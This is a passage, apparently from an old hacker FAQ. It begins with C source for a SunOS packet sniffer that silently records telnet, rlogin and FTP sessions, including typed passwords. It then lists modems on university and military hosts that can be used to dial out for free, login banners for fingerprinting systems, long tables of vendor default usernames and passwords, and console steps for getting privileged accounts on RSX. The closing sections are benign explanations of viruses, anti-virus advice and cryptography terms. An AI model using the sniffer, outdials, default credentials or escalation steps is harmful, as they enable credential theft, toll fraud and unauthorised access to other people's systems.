((s).s_addr == (t).s_addr) #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS)) #define MAXBUFLEN (128) time_t LastTIME = 0; struct CREC { struct CREC *Next, *Last; time_t Time; /* start time */ struct in_addr SRCip, DSTip; u_int SRCport, /* src/dst ports */ DSTport; u_char Data[MAXBUFLEN+2]; /* important stuff :-) */ u_int Length; /* current data length */ u_int PKcnt; /* # pkts */ u_long LASTseq; }; struct CREC *CLroot = NULL; char *Symaddr(ip) register struct in_addr ip; { register struct hostent *he = gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET); return( (he)?(he->h_name):(inet_ntoa(ip)) ); } char *TCPflags(flgs) register u_char flgs; { static char iobuf[8]; #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-') SFL(0,TH_FIN, 'F'); SFL(1,TH_SYN, 'S'); SFL(2,TH_RST, 'R'); SFL(3,TH_PUSH,'P'); SFL(4,TH_ACK, 'A'); SFL(5,TH_URG, 'U'); iobuf[6]=0; return(iobuf); } char *SERVp(port) register u_int port; { static char buf[10]; register char *p; switch(port) { case IPPORT_LOGINSERVER: p="rlogin"; break; case IPPORT_TELNET: p="telnet"; break; case IPPORT_SMTP: p="smtp"; break; case IPPORT_FTP: p="ftp"; break; default: sprintf(buf,"%u",port); p=buf; break; } return(p); } char *Ptm(t) register time_t *t; { register char *p = ctime(t); p[strlen(p)-6]=0; /* strip " YYYY\n" */ return(p); } char *NOWtm() { time_t tm; time(&tm); return( Ptm(&tm) ); } #define MAX(a,b) (((a)>(b))?(a):(b)) #define MIN(a,b) (((a)<(b))?(a):(b)) /* add an item */ #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \ register struct CREC *CLtmp = \ (struct CREC *)malloc(sizeof(struct CREC)); \ time( &(CLtmp->Time) ); \ CLtmp->SRCip.s_addr = SIP.s_addr; \ CLtmp->DSTip.s_addr = DIP.s_addr; \ CLtmp->SRCport = SPORT; \ CLtmp->DSTport = DPORT; \ CLtmp->Length = MIN(LEN,MAXBUFLEN); \ bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \ CLtmp->PKcnt = 1; \ CLtmp->Next = CLroot; \ CLtmp->Last = NULL; \ CLroot = CLtmp; \ } register struct CREC *GET_NODE(Sip,SP,Dip,DP) register struct in_addr Sip,Dip; register u_int SP,DP; { register struct CREC *CLr = CLroot; while(CLr != NULL) { if( (CLr->SRCport == SP) && (CLr->DSTport == DP) && IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) ) break; CLr = CLr->Next; } return(CLr); } #define ADDDATA_NODE(CL,DATA,LEN) { \ bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \ CL->Length += LEN; \ } #define PR_DATA(dp,ln) { \ register u_char lastc=0; \ while(ln-- >0) { \ if(*dp < 32) { \ switch(*dp) { \ case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \ break; \ case '\r': \ case '\n': fprintf(LOG,"\n : "); \ break; \ default : fprintf(LOG,"^%c", (*dp + 64)); \ break; \ } \ } else { \ if(isprint(*dp)) fputc(*dp,LOG); \ else fprintf(LOG,"(%d)",*dp); \ } \ lastc = *dp++; \ } \ fflush(LOG); \ } void END_NODE(CLe,d,dl,msg) register struct CREC *CLe; register u_char *d; register int dl; register char *msg; { fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time)); fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport)); fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport)); fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n", NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg); fprintf(LOG," DATA: "); { register u_int i = CLe->Length; register u_char *p = CLe->Data; PR_DATA(p,i); PR_DATA(d,dl); } fprintf(LOG,"\n-- \n"); fflush(LOG); if(CLe->Next != NULL) CLe->Next->Last = CLe->Last; if(CLe->Last != NULL) CLe->Last->Next = CLe->Next; else CLroot = CLe->Next; free(CLe); } /* 30 mins (x 60 seconds) */ #define IDLE_TIMEOUT 1800 #define IDLE_NODE() { \ time_t tm; \ time(&tm); \ if(LastTIME<tm) { \ register struct CREC *CLe,*CLt = CLroot; \ LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \ while(CLe=CLt) { \ CLt=CLe->Next; \ if(CLe->Time <tm) \ END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \ } \ } \ } void filter(cp, pktlen) register char *cp; register u_int pktlen; { register struct ip *ip; register struct tcphdr *tcph; { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type); if(EtherType < 0x600) { EtherType = *(u_short *)(cp + SZETH + 6); cp+=8; pktlen-=8; } if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */ return; } /* ugh, gotta do an alignment :-( */ bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH)); ip = (struct ip *)Packet; if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */ return; tcph = (struct tcphdr *)(Packet + IPHLEN); if(!( (TCPD == IPPORT_TELNET) || (TCPD == IPPORT_LOGINSERVER) || (TCPD == IPPORT_FTP) )) return; { register struct CREC *CLm; register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4)); register u_char *p = (u_char *)Packet; p += ((IPHLEN * 4) + (TCPOFF * 4)); if(debug) { fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length); fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS)); fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD)); } if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) { CLm->PKcnt++; if(length>0) if( (CLm->Length + length) < MAXBUFLEN ) { ADDDATA_NODE( CLm, p,length); } else { END_NODE( CLm, p,length, "DATA LIMIT"); } if(TCPFL(TH_FIN|TH_RST)) { END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" ); } } else { if(TCPFL(TH_SYN)) { ADD_NODE(IPS,IPD,TCPS,TCPD,p,length); } } IDLE_NODE(); } } /* signal handler */ void death() { register struct CREC *CLe; while(CLe=CLroot) END_NODE( CLe, (u_char *)NULL,0, "SIGNAL"); fprintf(LOG,"\nLog ended at => %s\n",NOWtm()); fflush(LOG); if(LOG != stdout) fclose(LOG); exit(1); } /* opens network interface, performs ioctls and reads from it, * passing data to filter function */ void do_it() { int cc; char *buf; u_short sp_ts_len; if(!(buf=malloc(CHUNKSIZE))) Pexit(1,"Eth: malloc"); /* this /dev/nit initialization code pinched from etherfind */ { struct strioctl si; struct ifreq ifr; struct timeval timeout; u_int chunksize = CHUNKSIZE; u_long if_flags = NI_PROMISC; if((if_fd = open(NIT_DEV, O_RDONLY)) < 0) Pexit(1,"Eth: nit open"); if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0) Pexit(1,"Eth: ioctl (I_SRDOPT)"); si.ic_timout = INFTIM; if(ioctl(if_fd, I_PUSH, "nbuf") < 0) Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")"); timeout.tv_sec = 1; timeout.tv_usec = 0; si.ic_cmd = NIOCSTIME; si.ic_len = sizeof(timeout); si.ic_dp = (char *)&timeout; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)"); si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof(chunksize); si.ic_dp = (char *)&chunksize; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)"); strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; si.ic_cmd = NIOCBIND; si.ic_len = sizeof(ifr); si.ic_dp = (char *)𝔦 if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)"); si.ic_cmd = NIOCSFLAGS; si.ic_len = sizeof(if_flags); si.ic_dp = (char *)&if_flags; if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)"); if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0) Pexit(1,"Eth: ioctl (I_FLUSH)"); } while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) { register char *bp = buf, *bufstop = (buf + cc); while (bp < bufstop) { register char *cp = bp; register struct nit_bufhdr *hdrp; hdrp = (struct nit_bufhdr *)cp; cp += sizeof(struct nit_bufhdr); bp += hdrp->nhb_totlen; filter(cp, (u_long)hdrp->nhb_msglen); } } Pexit((-1),"Eth: read"); } /* Authorize your program, generate your own password and uncomment here */ /* #define AUTHPASSWD "EloiZgZejWyms" */ void getauth() { char *buf,*getpass(),*crypt(); char pwd[21],prmpt[81]; strcpy(pwd,AUTHPASSWD); sprintf(prmpt,"(%s)UP? ",ProgName); buf=getpass(prmpt); if(strcmp(pwd,crypt(buf,pwd))) exit(1); } */ void main(argc, argv) int argc; char **argv; { char cbuf[BUFSIZ]; struct ifconf ifc; int s, ac=1, backg=0; ProgName=argv[0]; /* getauth(); */ LOG=NULL; device=NULL; while((ac<argc) && (argv[ac][0] == '-')) { register char ch = argv[ac++][1]; switch(toupper(ch)) { case 'I': device=argv[ac++]; break; case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a"))) Zexit(1,"Output file cant be opened\n"); break; case 'B': backg=1; break; case 'D': debug=1; break; default : fprintf(ERR, "Usage: %s [-b] [-d] [-i interface] [-f file]\n", ProgName); exit(1); } } if(!device) { if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0) Pexit(1,"Eth: socket"); ifc.ifc_len = sizeof(cbuf); ifc.ifc_buf = cbuf; if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0) Pexit(1,"Eth: ioctl"); close(s); device = ifc.ifc_req->ifr_name; } fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV); fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout", (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n"); if(!LOG) LOG=stdout; signal(SIGINT, death); signal(SIGTERM,death); signal(SIGKILL,death); signal(SIGQUIT,death); if(backg && debug) { fprintf(ERR,"[Cannot bg with debug on]\n"); backg=0; } if(backg) { register int s; if((s=fork())>0) { fprintf(ERR,"[pid %d]\n",s); exit(0); } else if(s<0) Pexit(1,"fork"); if( (s=open("/dev/tty",O_RDWR))>0 ) { ioctl(s,TIOCNOTTY,(char *)NULL); close(s); } } fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid()); fflush(LOG); do_it(); } 20. What is an Internet Outdial? An Internet outdial is a modem connected to the Internet than you can use to dial out. Normal outdials will only call local numbers. A GOD (Global OutDial) is capable of calling long distance. Outdials are an inexpensive method of calling long distance BBS's. 21. What are some Internet Outdials? This FAQ answer is excerpted from CoTNo #5: Internet Outdial List v3.0 by Cavalier and DisordeR Introduction -----------There are several lists of Internet outdials floating around the net these days. The following is a compilation of other lists, as well as v2.0 by DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author just ripped other people and released it, we have sat down and tested each one of these. Some of them we have gotten "Connection Refused" or it timed out while trying to connect...these have been labeled dead. Working Outdials ---------------as of 12/29/94 NPA IP Address Instructions --- ---------- ------------ 215 isn.upenn.edu modem 217 dialout.cecer.army.mil atdt x,xxxXXXXX 218 modem.d.umn.edu atdt9,xxxXXXX 303 yuma.acns.colostate.edu 3020 412 myriad.pc.cc.cmu.edu 2600 Press D at the prompt 412 gate.cis.pitt.edu tn3270, connect dialout.pitt.edu, atdtxxxXXXX 413 dialout2400.smith.edu 502 outdial.louisville.edu 502 uknet.uky.edu Ctrl } gets ENTER NUMBER: xxxxxxx connect kecnet @ dial: "outdial2400 or out" 602 acssdial.inre.asu.edu 614 ns2400.acs.ohio-state.edu 614 ns9600.acs.ohio-state.edu atdt8,,,,,[x][yyy]xxxyyyy 713 128.249.27.153 atdt x,xxxXXXX 714 modem.nts.uci.edu atdt[area]0[phone] 804 ublan.virginia.edu connect hayes, 9,,xxx-xxxx 804 ublan2.acc.virginia.edu connect telnet connect hayes Need Password ------------206 rexair.cac.washington.edu This is an unbroken password 303 yuma.ACNS.ColoState.EDU login: modem 404 128.140.1.239 .modem8|CR 415 annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1" 514 cartier.CC.UMontreal.CA externe,9+number 703 wal-3000.cns.vt.edu dial2400 -aa Dead/No Connect --------------201 idsnet 202 modem.aidt.edu 204 dial.cc.umanitoba.ca 204 umnet.cc.manitoba.ca 206 dialout24.cac.washington.edu 207 modem-o.caps.maine.edu 212 B719-7e.NYU.EDU dial3/dial12/dial24 212 B719-7f.NYU.EDU dial3/dial12/dial24 212 DIALOUT-1.NYU.EDU dial3/dial12/dial24 212 FREE-138-229.NYU.EDU dial3/dial12/dial24 "dial12" or "dial24" 212 UP19-4b.NYU.EDU dial3/dial12/dial24 215 wiseowl.ocis.temple.edu "atz" "atdt 9xxxyyyy" 218 aa28.d.umn.edu "cli" "rlogin modem" at "login:" type "modem" 218 modem.d.umn.edu Hayes 9,XXX-XXXX 301 dial9600.umd.edu 305 alcat.library.nova.edu 305 office.cis.ufl.edu 307 modem.uwyo.edu Hayes 313 35.1.1.6 dial2400-aa or dial1200-aa 0,XXX-XXXX or dialout 402 dialin.creighton.edu 402 modem.criegthon.edu 404 broadband.cc.emory.edu 408 dialout.scu.edu 408 dialout1200.scu.edu 408 dialout2400.scu.edu 408 dialout9600.scu.edu 413 dialout.smith.edu 414 modems.uwp.edu 416 annex132.berkely.edu atdt 9,,,,, xxx-xxxx 416 pacx.utcs.utoronto.ca modem 503 dialout.uvm.edu 513 dialout24.afit.af.mil 513 r596adi1.uc.edu 514 pacx.CC.UMontreal.CA 517 engdial.cl.msu.edu 602 dial9600.telcom.arizona.edu 603 dialout1200.unh.edu 604 dial24-nc00.net.ubc.ca 604 dial24-nc01.net.ubc.ca 604 dial96-np65.net.ubc.ca 604 gmodem.capcollege.bc.ca 604 hmodem.capcollege.bc.ca 609 128.119.131.11X (X= 1 - 4) 609 129.119.131.11x (x = 1 to 4) ".modem8" or ".dialout" externe#9 9xxx-xxxx Hayes 609 wright-modem-1.rutgers.edu 609 wright-modem-2.rutgers.edu 612 modem_out12e7.atk.com 612 modem_out24n8.atk.com 614 ns2400.ircc.ohio-state.edu "dial" 615 dca.utk.edu dial2400 D 99k # 615 MATHSUN23.MATH.UTK.EDU dial 2400 d 616 modem.calvin.edu 617 128.52.30.3 617 dialout.lcs.mit.edu 617 dialout1.princeton.edu 617 isdn3.Princeton.EDU 617 jadwingymkip0.Princeton.EDU 617 lord-stanley.Princeton.EDU 617 mpanus.Princeton.EDU 617 mrmodem.wellesley.edu 617 old-dialout.Princeton.EDU 617 stagger.Princeton.EDU 617 sunshine-02.lcs.mit.edu 617 waddle.Princeton.EDU 619 128.54.30.1 atdt [area][phone] 619 dialin.ucsd.edu "dialout" 703 modem_pool.runet.edu 703 wal-3000.cns.vt.edu 713 128.249.27.154 2400baud "c modem96" "atdt 9xxx-xxxx" or "Hayes" 713 modem12.bcm.tmc.edu 713 modem24.bcm.tmc.edu 713 modem24.bcm.tmc.edu 714 mdmsrv7.sdsu.edu 714 modem24.nts.uci.edu 714 pub-gopher.cwis.uci.edu 801 dswitch.byu.edu 808 irmodem.ifa.hawaii.edu 902 star.ccs.tuns.ca 916 129.137.33.72 99Kxxxxxxx atdt 8xxx-xxxx "C Modem" "dialout" 916 cc-dnet.ucdavis.edu connect hayes/dialout 916 engr-dnet1.engr.ucdavis.edu UCDNET <ret> C KEYCLUB <ret> ??? 128.119.131.11X ??? 128.200.142.5 ??? 128.54.30.1 ??? 128.6.1.41 ??? 128.6.1.42 ??? 129.137.33.72 ??? 129.180.1.57 ??? 140.112.3.2 ??? annexdial.rz.uni-duesseldorf.de ??? dial96.ncl.ac.uk ??? dialout.plk.af.mil ??? ee21.ee.ncu.edu.tw cs8005 ??? im.mgt.ncu.edu.tw guest ??? modem.cis.uflu.edu ??? modem.ireq.hydro.qc.ca ??? modems.csuohio.edu ??? sparc20.ncu.edu.tw u349633 ??? sun2cc.nccu.edu.tw ? ??? ts-modem.une.oz.au ??? twncu865.ncu.edu.tw guest ??? vtnet1.cns.ut.edu "CALL" or "call" (1 - 4) nue, X to discontinue, ? for Help ntu <none> <none> <none> Conclusion ---------If you find any of the outdials to have gone dead, changed commands, or require password, please let us know so we can keep this list as accurate as possible. If you would like to add to the list, feel free to mail us and it will be included in future versions of this list, with your name beside it. Have fun... [Editors note: Updates have been made to this document after the original publication] 22. What is this system? AIX ~~~ IBM AIX Version 3 for RISC System/6000 (C) Copyrights by IBM and by others 1982, 1990. login: [You will know an AIX system because it is the only Unix system that] [clears the screen and issues a login prompt near the bottom of the] [screen] AS/400 ~~~~~~ UserID? Password? Once in, type GO MAIN CDC Cyber ~~~~~~~~~ WELCOME TO THE NOS SOFTWARE SYSTEM. COPYRIGHT CONTROL DATA 1978, 1987. 88/02/16. 02.36.53. N265100 CSUS CYBER 170-730. NOS 2.5.2-678/3. FAMILY: You would normally just hit return at the family prompt. USER NAME: Next prompt is: CISCO Router ~~~~~~~~~~~~ FIRST BANK OF TNO 95-866 TNO VirtualBank REMOTE Router - TN043R1 Console Port SN - 00000866 TN043R1> DECserver ~~~~~~~~~ DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1 DPS502-DS700 (c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved Please type HELP if you need assistance Enter username> TNO Local> Hewlett Packard MPE-XL ~~~~~~~~~~~~~~~~~~~~~~ MPE XL: EXPECTED A :HELLO COMMAND. (CIERR 6057) MPE XL: EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] MPE XL: (CIERR 1424) GTN ~~~ WELCOME TO CITIBANK. PLEASE SIGN ON. XXXXXXXX @ PASSWORD = @ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= PLEASE ENTER YOUR ID:-1-> PLEASE ENTER YOUR PASSWORD:-2-> CITICORP (CITY NAME). KEY GHELP FOR HELP. XXX.XXX PLEASE SELECT SERVICE REQUIRED.-3-> Lantronix Terminal Server ~~~~~~~~~~~~~~~~~~~~~~~~~ Lantronix ETS16 Version V3.1/1(940623) Type HELP at the 'Local_15> ' prompt for assistance. Login password> Meridian Mail (Northern Telecom Phone/Voice Mail System) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ MMM MMMMM MMMMMM MMM MMMMM MM MERIDIAN MMMMM MMMMMM MMM MMMMM MMMMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMMMM MMM MMM MMM MMM MMM MMM MMM MMMMMM MMM MMM MMM MMM MMM MMM MMM MMMMMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM Copyright (c) Northern Telecom, 1991 Novell ONLAN ~~~~~~~~~~~~ <Control-A aka smiley face>N [To access the systems it is best to own a copy of ONLAN/PC] PC-Anywhere ~~~~~~~~~~~ <Control-A aka smiley face>P [To access the systems it is best to own a copy of PCAnywhere Remote] PRIMOS ~~~~~~ PRIMENET 19.2.7F PPOA1 <any text> ER! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= CONNECT Primenet V 2.3 (system) LOGIN (you) User id? (system) SAPB5 (you) Password? (system) DROWSAP (you) OK, (system) ROLM CBX II ~~~~~~~~~~~ ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568 BIND DATE: 7/APR/93 COPYRIGHT 1980, 1993 ROLM COMPANY. ALL RIGHTS RESERVED. ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY. YOU HAVE ENTERED CPU 1 12:38:47 ON WEDNESDAY 2/15/1995 USERNAME: op PASSWORD: INVALID USERNAME-PASSWORD PAIR ROLM-OSL ~~~~~~~~ MARAUDER10292 01/09/85(^G) 1 03/10/87 RELEASE 8003 OSL, PLEASE. ? System75 00:29:47 ~~~~~~~~ Login: root INCORRECT LOGIN Login: browse Password: Software Version: G3s.b16.2.2 Terminal Type (513, 4410, 4425): [513] Tops-10 ~~~~~~~ NIH Timesharing NIH Tri-SMP 7.02-FF 16:30:04 TTY11 system 1378/1381/1453 Connected to Node Happy(40) Line # 12 Please LOGIN . VM/370 ~~~~~~ VM/370 ! VM/ESA ~~~~~~ VM/ESA ONLINE TBVM2 VM/ESA Rel 1.1 Fill in your USERID and PASSWORD and press ENTER (Your password will not appear when you type it) PUT 9200 USERID ===> PASSWORD ===> COMMAND ===> Xylogics Annex Communications Server ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc. Checking authorization, Please wait... - Annex username: TNO - Optional security check Annex password: - Not always present Permission granted annex: 23. What are the default accounts for XXX? AIX ~~~ guest guest AS/400 ~~~~~~ qsecofr qsecofr /* master security officer */ qsysopr qsysopr /* system operator */ qpgmr qpgmr /* default programmer */ also ibm password ibm 2222 ibm service qsecofr 1111111 qsecofr 2222222 qserv qserv qsvr qsvr secofr secofr qsrv ibmce1 DECserver ~~~~~~~~~ ACCESS SYSTEM Dynix (The library software, not the UnixOS) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ (Type 'later' to exit to the login prompt) setup <no password> library <no password> circ <Social Security Number> Hewlett Packard MPE-XL ~~~~~~~~~~~~~~~~~~~~~~ HELLO MANAGER.SYS HELLO MGR.SYS HELLO FIELD.SUPPORT HELLO OP.OPERATOR MGR CAROLIAN MGR CCC MGR CNAS MGR CONV MGR COGNOS OPERATOR COGNOS MANAGER COGNOS HPUNSUP or SUPPORT or HP OPERATOR DISC MGR HPDESK MGR HPWORD FIELD HPWORD MGR HPOFFICE SPOOLMAN HPOFFICE ADVMAIL HPOFFICE MAIL HPOFFICE WP HPOFFICE MANAGER HPOFFICE MGR HPONLY FIELD HPP187 MGR HPP187 MGR HPP189 MGR HPP196 MGR INTX3 MGR ITF3000 MANAGER ITF3000 MAIL MAIL MGR NETBASE MGR REGO MGR RJE MGR ROBELLE MANAGER SECURITY MGR SECURITY FIELD SERVICE MANAGER SYS MGR SYS PCUSER SYS RSBCMON SYS OPERATOR SYS OPERATOR SYSTEM FIELD SUPPORT OPERATOR SUPPORT MANAGER TCH MAIL TELESUP MANAGER TELESUP MGR TELESUP SYS TELESUP MGE VESOFT MGE VESOFT MGR WORD MGR XLSERVER Common jobs are Pub, Sys, Data Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote Major BBS ~~~~~~~~~ Sysop Sysop Mitel PBX ~~~~~~~~~ SYSTEM NeXTSTEP ~~~~~~~~ root NeXT signa signa me <null> (Rumored to be correct, not checked) Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ fax PICK O/S ~~~~~~~~ <no password> DSA # Desquetop System Administrator DS DESQUETOP PHANTOM Prolog ~~~~~~ PBX PBX NETWORK NETWORK NETOP <null> Radio Shack Screen Savers ~~~~~~~~~~~~~~~~~~~~~~~~~ RS<STORE_ID_NUMBER> Rolm ~~~~ CBX Defaults op op op operator su super admin pwp eng engineer PhoneMail Defaults sysadmin sysadmin tech tech poll tech RSX ~~~ SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM) 1,1/system (Directory [1,1] Password SYSTEM) BATCH/BATCH SYSTEM/MANAGER USER/USER Default accounts for Micro/RSX: MICRO/RSX Alternately you can hit <CTRL-Z> when the boot sequence asks you for the date and create an account using: RUN ACNT or RUN $ACNT (Numbers below 10 {oct} are privileged) Reboot and wait for the date/time question. Type ^C and at the MCR prompt, type "abo at." You must include the . dot! If this works, type "acs lb0:/blks=1000" to get some swap space so the new step won't wedge. type " run $acnt" and change the password of any account with a group number of 7 or less. You may find that the ^C does not work. Try ^Z and ESC as well. Also try all 3 as terminators to valid and invalid times. If none of the above work, use the halt switch to halt the system, just after a invalid date-time. Look for a user mode PSW 1[4-7]xxxx. then deposit 177777 into R6, cross your fingers, write protect the drive and continue the system. This will hopefully result in indirect blowing up... And hopefully the system has not been fully secured. SGI Irix ~~~~~~~~ 4DGifts <no password> guest <no password> demos <no password> lp <no password> nuucp <no password> tour <no password> tutor <no password> System 75 ~~~~~~~~~ bcim bcimpw bciim bciimpw bcms bcmspw, bcms bcnas bcnspw blue bluepw browse looker, browsepw craft crftpw, craftpw, crack cust custpw enquiry enquirypw field support inads indspw, inadspw, inads init initpw kraft kraftpw locate locatepw maint maintpw, rwmaint nms nmspw rcust rcustpw support supportpw tech field Taco Bell ~~~~~~~~~ rgm rollout tacobell <null> Verifone Junior 2.05 ~~~~~~~~~~~~~~~~~~~~ Default password: 166816 VMS ~~~ field service systest utep XON / XON Junior ~~~~~~~~~~~~~~~~ Default password: 166831 24. What port is XXX on? The file /etc/services on most Unix machines lists the port assignments for that machine. For a complete list of port assignments, read RFC (Request For Comments) 1700 "Assigned Numbers" 25. What is a trojan/worm/virus/logic bomb? This FAQ answer was written by Theora: Trojan: Remember the Trojan Horse? Bad guys hid inside it until they could get into the city to do their evil deed. A trojan computer program is similar. It is a program which does an unauthorized function, hidden inside an authorized program. It does something other than what it claims to do, usually something malicious (although not necessarily!), and it is intended by the author to do whatever it does. If it's not intentional, its called a 'bug' or, in some cases, a feature :) Some virus scanning programs detect some trojans. Some virus scanning programs don't detect any trojans. No virus scanners detect all trojans. Virus: A virus is an independent program which reproduces itself. It may attach to other programs, it may create copies of itself (as in companion viruses). It may damage or corrupt data, change data, or degrade the performance of your system by utilizing resources such as memory or disk space. Some virus scanners detect some viruses. No virus scanners detect all viruses. No virus scanner can protect against "any and all viruses, known and unknown, now and forevermore". Worm: Made famous by Robert Morris, Jr. , worms are programs which reproduce by copying themselves over and over, system to system, using up resources and sometimes slowing down the systems. They are self contained and use the networks to spread, in much the same way viruses use files to spread. Some people say the solution to viruses and worms is to just not have any files or networks. They are probably correct. We would include computers. Logic Bomb: Code which will trigger a particular form of 'attack' when a designated condition is met. For instance, a logic bomb could delete all files on Dec. 5th. Unlike a virus, a logic bomb does not make copies of itself. 26. How can I protect myself from viruses and such? This FAQ answer was written by Theora: The most common viruses are boot sector infectors. You can help protect yourself against those by write protecting all disks which you do not need write access to. Definitely keep a set of write protected floppy system disks. If you get a virus, it will make things much simpler. And, they are good for coasters. Only kidding. Scan all incoming files with a recent copy of a good virus scanner. Among the best are F-Prot, Dr. Solomon's Anti-virus Toolkit, and Thunderbyte Anti-Virus. AVP is also a good program. Using more than one scanner could be helpful. You may get those one or two viruses that the other guy happened to miss this month. New viruses come out at the rate of about 8 per day now. NO scanner can keep up with them all, but the four mentioned here do the best job of keeping current. Any _good_ scanner will detect the majority of common viruses. No virus scanner will detect all viruses. Right now there are about 5600 known viruses. New ones are written all the time. If you use a scanner for virus detection, you need to make sure you get frequent updates. If you rely on behavior blockers, you should know that such programs can be bypassed easily by a technique known as tunnelling. You may want to use integrity checkers as well as scanners. Keep in mind that while these can supply added protection, they are not foolproof. You may want to use a particular kind of scanner, called resident scanners. Those are programs which stay resident in the computer memory and constantly monitor program execution (and sometimes even access to the files containing programs). If you try to execute a program, the resident scanner receives control and scans it first for known viruses. Only if no such viruses are found, the program is allowed to execute. Most virus scanners will not protect you against many kinds of trojans, any sort of logic bombs, or worms. Theoretically, they _could_ protect you against logic bombs and/or worms, by addition of scanning strings; however, this is rarely done. The best, actually only way, to protect yourself is to know what you have on your system and make sure what you have there is authorized by you. Make frequent backups of all important files. system files write protected. Keep your DOS Write protect all disks that you do not need to write to. If you do get a virus, don't panic. Call the support department of the company who supplies your anti-virus product if you aren't sure of what you are doing. If the company you got your anti-virus software from does not have a good technical support department, change companies. The best way to make sure viruses are not spread is not to spread them. Some people do this intentionally. We discourage this. Viruses aren't cool. 27. Where can I get more information about viruses? This FAQ answer was written by Theora: Assembly language programming books illustrate the (boring) aspect of replication and have for a long time. The most exciting/interesting thing about viruses is all the controversy around them. Free speech, legality, and cute payloads are a lot more interesting than "find first, find next" calls. You can get information about the technical aspects of viruses, as well as help if you should happen to get a virus, from the virus-l FAQ, posted on comp. virus every so often. You can also pick up on the various debates there. There are alt.virus type newsgroups, but the level of technical expertise is minimal, and so far at least there has not been a lot of real "help" for people who want to get -ridof a virus. There are a lot of virus experts. To become one, just call yourself one. Only Kidding. Understanding viruses involves understanding programming, operating systems, and their interaction. Understanding all of the 'Cult of Virus' business requires a lot of discernment. There are a number of good papers available on viruses, and the Cult of Virus; you can get information on them from just about anyone listed in the virus-l FAQ. The FTP site ftp.informatik.uni-hamburg.de is a pretty reliable site for programs and text. 28. What is Cryptoxxxxxxx? This FAQ answer is excerpted from: Computer Security Basics by Deborah Russell and G.T. Gengemi Sr. A message is called either plaintext or cleartext. The process of disguising a message in such a way as to hide its substance is called encryption. An encrypted message is called ciphertext. The process of turning ciphertext back into plaintext is called decryption. The art and science of keeping messages secure is called cryptography, and it is practiced by cryptographers. Cryptanalysts are practitioners of cryptanalysis, the art and science of breaking ciphertext, i.e. seeing through the disguise. The branch of mathematics embodying both cryptography and cryptanalysis is called cryptology, and it's practitioners are called cryptologists. 29. What is PGP? This FAQ answer is excerpted from: PGP(tm) User's Guide Volume I: Essential Topics by Philip Zimmermann 